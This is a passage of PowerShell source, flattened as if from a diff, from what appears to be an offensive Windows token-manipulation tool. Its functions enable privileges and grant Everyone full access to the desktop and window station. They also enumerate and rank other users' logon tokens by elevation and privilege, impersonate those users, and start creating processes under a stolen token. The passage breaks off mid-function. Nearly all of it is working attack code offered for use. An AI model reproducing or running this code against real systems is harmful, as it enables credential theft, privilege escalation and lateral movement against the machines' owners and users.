"SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", - "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", - "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", - "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", - "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] - [String] - $Privilege - ) - - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - Write-Verbose "Attempting to enable privilege: $Privilege" - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - Write-Verbose "Enabled privilege: $Privilege" - } - - - #Change the ACL of the WindowStation and Desktop - function Set-DesktopACLs - { - Enable-Privilege -Privilege SeSecurityPrivilege - - #Change the privilege for the current window station to allow full privilege for all users - $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") - $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) - - if ($hWinsta -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hWinsta - $CloseHandle.Invoke($hWinsta) | Out-Null - - #Change the privilege for the current desktop to allow full privilege for all users - $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) - if ($hDesktop -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hDesktop - $CloseHandle.Invoke($hDesktop) | Out-Null - } - - - function Set-DesktopACLToAllowEveryone - { - Param( - [IntPtr]$hObject - ) - - [IntPtr]$ppSidOwner = [IntPtr]::Zero - [IntPtr]$ppsidGroup = [IntPtr]::Zero - [IntPtr]$ppDacl = [IntPtr]::Zero - [IntPtr]$ppSacl = [IntPtr]::Zero - [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero - #0x7 is window station, change for other types - $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) - if ($retVal -ne 0) - { - Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" - } - - if ($ppDacl -ne [IntPtr]::Zero) - { - $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) - - #Add all users to acl - [UInt32]$RealSize = 2000 - $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) - $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) - if (-not $Success) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - #For user "Everyone" - $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) - $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) - $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) - $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero - $TrusteeObj.MultipleTrusteeOperation = 0 - $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID - $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP - $TrusteeObj.ptstrName = $pAllUsersSid - - #Give full permission - $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) - $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) - $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) - $ExplicitAccess.grfAccessPermissions = 0xf03ff - $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS - $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE - $ExplicitAccess.Trustee = $TrusteeObj - - [IntPtr]$NewDacl = [IntPtr]::Zero - - $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) - if ($RetVal -ne 0) - { - Write-Error "Error calling SetEntriesInAclW: $RetVal" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) - - if ($NewDacl -eq [IntPtr]::Zero) - { - throw "New DACL is null" - } - - #0x7 is window station, change for other types - $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) - if ($RetVal -ne 0) - { - Write-Error "SetSecurityInfo failed. Return value: $RetVal" - } - - $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null - } - } - - - #Get the primary token for the specified processId - function Get-PrimaryToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ProcessId, - - #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. - [Parameter()] - [Switch] - $FullPrivs - ) - - if ($FullPrivs) - { - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - } - else - { - $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY - } - - $ReturnStruct = New-Object PSObject - - $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess - if ($hProcess -eq [IntPtr]::Zero) - { - #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." - return $null - } - else - { - [IntPtr]$hProcToken = [IntPtr]::Zero - $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) - - #Close the handle to hProcess (the process handle) - if (-not $CloseHandle.Invoke($hProcess)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hProcess = [IntPtr]::Zero - - if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" - return $null - } - else - { - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken - } - } - - return $ReturnStruct - } - - - function Get-ThreadToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ThreadId - ) - - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - - $RetStruct = New-Object PSObject - [IntPtr]$hThreadToken = [IntPtr]::Zero - - $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) - if ($hThread -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists - { - Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated - ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed - { - Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - Write-Verbose "Successfully queried thread token" - } - - #Close the handle to hThread (the thread handle) - if (-not $CloseHandle.Invoke($hThread)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hThread = [IntPtr]::Zero - } - - $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken - return $RetStruct - } - - - #Gets important information about the token such as the logon type associated with the logon - function Get-TokenInformation - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - $ReturnObj = $null - - $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) - [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" - } - else - { - $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) - - #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) - - [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero - $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) - if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) - { - Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" - } - else - { - $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) - if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and - $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) - { - #Get the username and domainname associated with the token - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) - - #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) - #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account - #results in querying the domain controller which is unwanted. - if ($Username -ieq "$($env:COMPUTERNAME)`$") - { - [UInt32]$Size = 100 - [UInt32]$NumUsernameChar = $Size / 2 - [UInt32]$NumDomainChar = $Size / 2 - [UInt32]$SidNameUse = 0 - $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) - - if ($Success) - { - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) - } - else - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) - $UsernameBuffer = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) - $DomainBuffer = [IntPtr]::Zero - } - - $ReturnObj = New-Object PSObject - $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain - $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username - $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken - $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType - - - #Query additional info about the token such as if it is elevated - $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false - - $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) - $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" - } - else - { - $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) - if ($TokenElevation.TokenIsElevated -ne 0) - { - $ReturnObj.IsElevated = $true - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) - - - #Query the token type to determine if the token is a primary or impersonation token - $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" - - [UInt32]$TokenTypeSize = 4 - [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) - switch($TokenType) - { - 1 {$ReturnObj.TokenType = "Primary"} - 2 {$ReturnObj.TokenType = "Impersonation"} - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) - - - #Query the impersonation level if the token is an Impersonation token - if ($ReturnObj.TokenType -ieq "Impersonation") - { - $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" - - [UInt32]$ImpersonationLevelSize = 4 - [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) - switch ($ImpersonationLevel) - { - 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } - 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } - 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } - 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) - } - - - #Query the token sessionid - $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" - - [UInt32]$TokenSessionIdSize = 4 - [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) - $ReturnObj.SessionID = $TokenSessionId - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) - - - #Query the token privileges - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() - - [UInt32]$TokenPrivilegesSize = 1000 - [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - - #Loop through each privilege - [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) - $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) - { - $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) - - $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) - - #Lookup privilege name - [UInt32]$PrivilegeNameSize = 60 - $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) - $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid - - $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" - } - $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) - - #Get the privilege attributes - $PrivilegeStatus = "" - $Enabled = $false - - if ($LuidAndAttribute.Attributes -eq 0) - { - $Enabled = $false - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. - { - Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " - } - - if ($Enabled) - { - $ReturnObj.PrivilegesEnabled += ,$PrivilegeName - } - else - { - $ReturnObj.PrivilegesAvailable += ,$PrivilegeName - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - - } - else - { - Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" - } - - #Free LogonSessionData - $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) - $LogonSessionDataPtr = [IntPtr]::Zero - if ($ntstatus -ne 0) - { - Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" - } - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - $LuidPtr = [IntPtr]::Zero - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) - $TokenStatsPtr = [IntPtr]::Zero - - return $ReturnObj - } - - - #Takes an array of TokenObjects built by the script and returns the unique ones - function Get-UniqueTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [Object[]] - $AllTokens - ) - - $TokenByUser = @{} - $TokenByEnabledPriv = @{} - $TokenByAvailablePriv = @{} - - #Filter tokens by user - foreach ($Token in $AllTokens) - { - $Key = $Token.Domain + "\" + $Token.Username - if (-not $TokenByUser.ContainsKey($Key)) - { - #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because - # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. - if ($Token.LogonType -ne 3 -and - $Token.Username -inotmatch "^DWM-\d+$" -and - $Token.Username -inotmatch "^LOCAL\sSERVICE$") - { - $TokenByUser.Add($Key, $Token) - } - } - else - { - #If Tokens have equal elevation levels, compare their privileges. - if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) - { - if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) - { - $TokenByUser[$Key] = $Token - } - } - #If the new token is elevated and the current token isn't, use the new token - elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) - { - $TokenByUser[$Key] = $Token - } - } - } - - #Filter tokens by privilege - foreach ($Token in $AllTokens) - { - $Fullname = "$($Token.Domain)\$($Token.Username)" - - #Filter currently enabled privileges - foreach ($Privilege in $Token.PrivilegesEnabled) - { - if ($TokenByEnabledPriv.ContainsKey($Privilege)) - { - if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) - { - $TokenByEnabledPriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByEnabledPriv.Add($Privilege, @($Fullname)) - } - } - - #Filter currently available (but not enable) privileges - foreach ($Privilege in $Token.PrivilegesAvailable) - { - if ($TokenByAvailablePriv.ContainsKey($Privilege)) - { - if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) - { - $TokenByAvailablePriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByAvailablePriv.Add($Privilege, @($Fullname)) - } - } - } - - $ReturnDict = @{ - TokenByUser = $TokenByUser - TokenByEnabledPriv = $TokenByEnabledPriv - TokenByAvailablePriv = $TokenByAvailablePriv - } - - return (New-Object PSObject -Property $ReturnDict) - } - - - function Invoke-ImpersonateUser - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) - if (-not $Success) - { - $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" - } - } - - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - - return $Success - } - - - function Create-ProcessWithToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken, - - [Parameter(Position=1, Mandatory=$true)] - [String] - $ProcessName, - - [Parameter(Position=2)] - [String] - $ProcessArgs, - - [Parameter(Position=3)] - [Switch] - $PassThru - ) - Write-Verbose "Entering Create-ProcessWithToken" - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) - [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) - $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null - [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct - - $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) - [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) - - $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") - 